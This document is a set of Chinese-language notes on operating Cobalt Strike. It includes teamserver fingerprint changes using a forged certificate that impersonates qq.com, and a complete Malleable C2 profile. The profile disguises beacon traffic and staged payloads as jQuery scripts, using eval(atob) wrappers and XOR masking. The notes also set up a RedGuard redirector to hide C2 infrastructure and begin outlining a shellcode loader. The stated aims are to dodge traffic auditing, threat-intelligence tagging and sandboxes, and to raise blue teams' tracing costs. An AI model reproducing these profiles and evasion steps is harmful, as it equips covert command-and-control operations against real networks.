CS必备知识
概念
Cobalt Strike是一款基于java语言的渗透测试工具,被广泛用于模拟高级持久性威胁和内网渗透,自3.0以后不再使用MSF框架而是作为独立的平台使用
CS集成端口转发、服务扫描、自动化溢出,多模式端口监听,win exe木马生成、win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;
钓鱼攻击包括站点克隆、目标信息获取、java执行、浏览器自动攻击等
历史
Armitage
是一款红队协作攻击管理工具,以图形化的方式实现了MSF框架的自动化攻击
CS 1.X
加强了MSF在执行目标攻击和渗透攻击的能力
CS 2.X
应黑客攻击的市场需求而出现,以malleable C2技术的需求未定位的
CS 3.X
全面脱离MSF
目录结构
简单介绍以下常用的目录和文件
logs 日志记录与目标主机的相关信息
resources 资源文件的目录
scripts 脚本存放目录
.cobaltstrike.beacon_key Beacon密钥信息文件
agscript 扩展应用的脚本,用于自动化和定制化渗透测试过程
c2lint 用于检查 profile 文件
cobaltstrike,cobaltstrike.jar 客户端程序
cobaltstrike.bar 快速启动客户端的bat文件
cobaltstrike.store ssl证书文件
CSagent.jar 用于代理通信的java可执行文件
peclone 克隆和操作PE文件的工具或者脚本
start.sh 在Unix/Linux上快速启动的SHELL脚本
teamserver 启动服务端的sh文件
特征修改
修改特征主要是针对cs服务端,客户端不需要修改
修改服务端信息
修改端口信息:只需要修改cs配置文件默认端口就可以
修改证书信息:
keytool -list -v -keystore cobaltstrike.store # 查看证书信息
keytool -keystore cobalstrike_new.store -storepass 1qazwsx -genkey -keyalg RSA -alias qq.com -dname "CN=US,OU=qq.com,O=Software,L=Somewhere,ST=Cyberspace,C=CN"
# 在teamserver中设置,同时还要注意ssl证书密码
-Djavax.net.ssl.keyStore=./cobalstrike_new.store
虽然伪造的证书可以欺骗fofa这类搜索引擎,但是毕竟是伪造的,使用ssl查询工具是查询不到颁发机构的,因为是自己生成的,真正的证书是需要证书机构进行签发
使用颁发的ssl证书,推荐jks格式的证书,直接修改证书名,在teamserver中配置即可
mv server.jks cobalstrike.store
# 在teamserver中设置
-Djavax.net.ssl
pem格式
# 第一步,转换pem为p12
openssl pkcs12 -export \
-in fullchain.pem \
-inkey privkey.pem \
-out cobaltstrike.p12 \
-name "qq.com" \
-passout pass:1qazwsx
# 第二步,导入证书
keytool -importkeystore \
-srckeystore cobaltstrike.p12 \
-srcstoretype PKCS12 \
-srcstorepass 1qazwsx \
-destkeystore cobaltstrike.store \
-deststoretype JKS \
-deststorepass 1qazwsx \
-alias "qq.com"
配置profile
一般cs默认是没有profile文件的,需要自己配置,而且官网称profile文件为Malleable2,整个profile文件的配置就是在进行流量上的伪装
基本语法
# this is a comment,# 这是注释
# 设置全局变量,和其他无关是cs自身的一些机制
set global_option "value";
protocol-transaction{
set local_option "value";
client{
# customize client indicators
}
server{
# customize server indicators
}
}
全局变量
# Malleable C2 Profile
# Version:CobaltStrike 4.5
# File:jquery-c2.4.5.profile
# Description:
# C2 profile attempting to mimic a jquery.js request
# or self-signed "1000"
# 设置全局变量 sample_name,值是当前文件名
set sample_name "jQuery CS 4.5 Profile";
# 设置心跳包的时间,单位是毫秒
set sleeptime "1000";
# 设置心跳包时间的波动范围
set jitter "50";
# 添加随机字符串,增加响应不可预测性
set data_jitter "100";
# 设置全局UA
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; X64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36";
https-certificate ssl证书配置
https-certificate{
set C "US";
set CN "jquery.com";
set O "jQuery";
set OU "Certificate Authority";
set validity "365";
set keystore "cobaltstrike.store"; # 证书文件
set password "1qazwsx"; #证书密码
}
SMB和TCP,smb会在横向移动时用上
# SMB Beacon
set pipename "edge_ipc_stream_##";
set pipename_stager "edge_shared_##";
set smb_frame_header "\x80";
### TCP Beacon 监听端口
set tcp_port "42585";
set tcp_frame_header "\x80";
DNS beacon,不经常使用,但是对于DNS协议出网设备可以使用
dns-beacon {
set dns_idle "74.125.196.113";# 第一次dns查询的地址
set dns_max_txt "252";# 最大查询次数,252以下,能被4整除
set dns_sleep "0"; # 休眠时间
set dns_ttl "5"; # ttl值
set maxdns "255"; # 最大dns服务转接数量
set dns_stager_prepend ".resource.123456."; #使用dns协议的马,pe头追加的内容
set dns_stager_subhost ".feed.123456"; # 子域名的查询配置
set beacon "a.bc.";
set get_A "b.1a.";
set get_AAAA "c.4a.";
set get_TXT "d.tx.";
set put_metadata "e.md.";
set put_output "f.po.";
set ns_response "zero";
}
SSH beacons:配置用于横向移动的SSH伪Beacon
set ssh_banner "OpenSSH_7.4 Debian (protocol 2.0)"; # 配置SSH连接的banner信息
set ssh_pipename "wkssvc##"; # 定义了用于SSH伪Beacon通信的命名空间,##是占位符
http_stager块是用来自定义HTTP阶段化过程的配置,阶段化是CS的一个重要概念,它指的是将第二阶段的有效载荷传输到主机的过程
http-stager {
# 1. 定义 Stager 请求的 URI 路径(支持设置多个,CS 会随机选择以混淆视听)
set uri_x86 "/shared/js/metrics/analytics.min.js";
set uri_x64 "/static/assets/chunks/vendor.core.js";
# 2. 客户端(Stager Payload)发送请求时的配置
client {
# 伪装常见的浏览器或组件 User-Agent
header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36";
# 伪装正常的业务请求头,规避全流量审计设备的异常行为告警
header "Accept" "application/javascript, */*;q=0.8";
header "Accept-Language" "en-US,en;q=0.9";
header "Connection" "close";
header "Cache-Control" "no-cache";
# 针对特定的测绘或WAF,添加形如控制域名的 Host 头(如配合 CDN 节点前置/域前置技术)
# header "Host" "static.yourdomain.com";
}
# 3. 团队服务器(Teamserver)响应请求时的配置
server {
# 伪装经典的 Web 服务器类型
header "Server" "nginx/1.24.0";
header "Content-Type" "application/javascript; charset=UTF-8";
header "Connection" "keep-alive";
header "Vary" "Accept-Encoding";
# 4. 关键:对传输的二进制 Stage Payload 进行特征模糊处理(不推荐使用纯明文二进制)
output {
# 第三阶段:最后加料。在最外层(已是字符串形式)包裹合法的 JavaScript 特征
prepend "/* Copyright (c) 2026, Oracle and/or its affiliates. All rights reserved. */\nvar _0xef41 = \"";
append "\"; (function(d){eval(atob(d));})(_0xef41);";
# 第二阶段:转换格式。将二进制或混淆后的数据转换为适合 Web 传输的 Base64 字符串
# 注意:此时数据变成了纯文本格式
base64url;
# 第一阶段:初级混淆。先对原始的反射型 DLL(Stage 二进制)进行掩码异或混淆
# 这能直接破坏 MZ/PE 头部的固有二进制特征
mask;
}
}
http-config,不单单是http实际上也是https的全局响应头设置
http-config{
set header "Date,Server,Content-Length,Keep-Alive,Connection,Content-Type";
header "Server""Apache";
header "Keep-Alive" "timeout=10,max=100";
header "Connection" "Keep-Alive";
set trust-x-forwarded_for "true";
set block_useragents "curl*,lynx*,wget*";
}
http-get(无缩进要求),命令的下发相当于向受害者发送get请求
http-get {
# 1. 虚拟心跳请求的 URI(推荐设置为看起来在加载数据或配置的 JS 路径)
set uri "/assets/js/plugins/jquery.dataTables.min.js";
# 2. 客户端(Beacon)发送心跳请求及元数据
client {
# 保持与全局一致的 User-Agent
header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36";
header "Accept" "application/javascript, */*;q=0.8";
header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
header "Connection" "keep-alive";
header "Cache-Control" "max-age=0";
# 核心:Beacon 需要将自身的元数据(Metadata,包含机器名、IP、PID、密钥等)带给服务器
metadata {
# 采用 netbios 编码,这种编码多见于微软或某些复杂 Web 系统的参数中
netbios;
# 将编码后的元数据,伪装成 jQuery 常用的时间戳或序列号参数,拼接到 URL 查询字符串中
prepend "__v=";
append "&_tenant=public";
parameter "id";
}
}
# 3. 团队服务器(Teamserver)下发命令时的响应
server {
# 伪装服务器 Banner(建议与你的 http-config 块保持一致,这里使用 Apache)
header "Server" "Apache";
header "Content-Type" "application/javascript; charset=utf-8";
header "Connection" "keep-alive";
# 4. 关键:Teamserver 下发加密指令(Payload)给 Beacon 时的多阶段混淆
output {
# 外层包裹:伪装成合法的 jQuery 数据表格插件回调函数,将其变成纯文本脚本
prepend "/**! jQuery DataTables 1.10.21 */\n(function(window, document, undefined){\nvar _dt_cache = \"";
append "\";\neval(atob(_dt_cache));\n})(window, document);";
# 中层转换:转为 Base64 格式字符串以便嵌入到 JS 脚本内
base64url;
# 内层混淆:先将传输的控制指令进行 XOR 掩码打碎,防止敏感行为指令被全流量设备识别
mask;
}
}
}
前置隐匿
原因
- 增加蓝队溯源成本
- 规避网络空间测绘和威胁情报的对ip标记为cs远控
- 解决一些沙箱上线问题
下载RedGuard
下载https://github.com/Wikiz/RedGuard
是一款C2设施的衍生作品,有更轻量的设计、高效的流量交互、以及使用go语言开发的具有可靠兼容性
安装
go build -ldflags "-s -w" -trimpath
chomod +x ./RedGuard&&./RedGuard
配置说明
打开cs客户端,选择监听器
http地址选择redguard反向代理服务器的ip
上线填写方向代理服务器监听的端口
监听填写Beacons与C2服务器通信的端口
Host头填写反向代理中设置的host头(默认127.0.0.1:8080)
修改配置文件
HostTarget = {"360.net:"http://beacon通信地址","360.com":"https://127.0.0.1:4433""}
shellcode加载器
首先shellcode加载器既然可以通过代码编写,理论上不同编程语言都可以编写
整个shellcode想要执行,需要加载器做哪些事情呢?
- 申请内存
- 放入shellcode
- 想办法把shellcode被cpu执行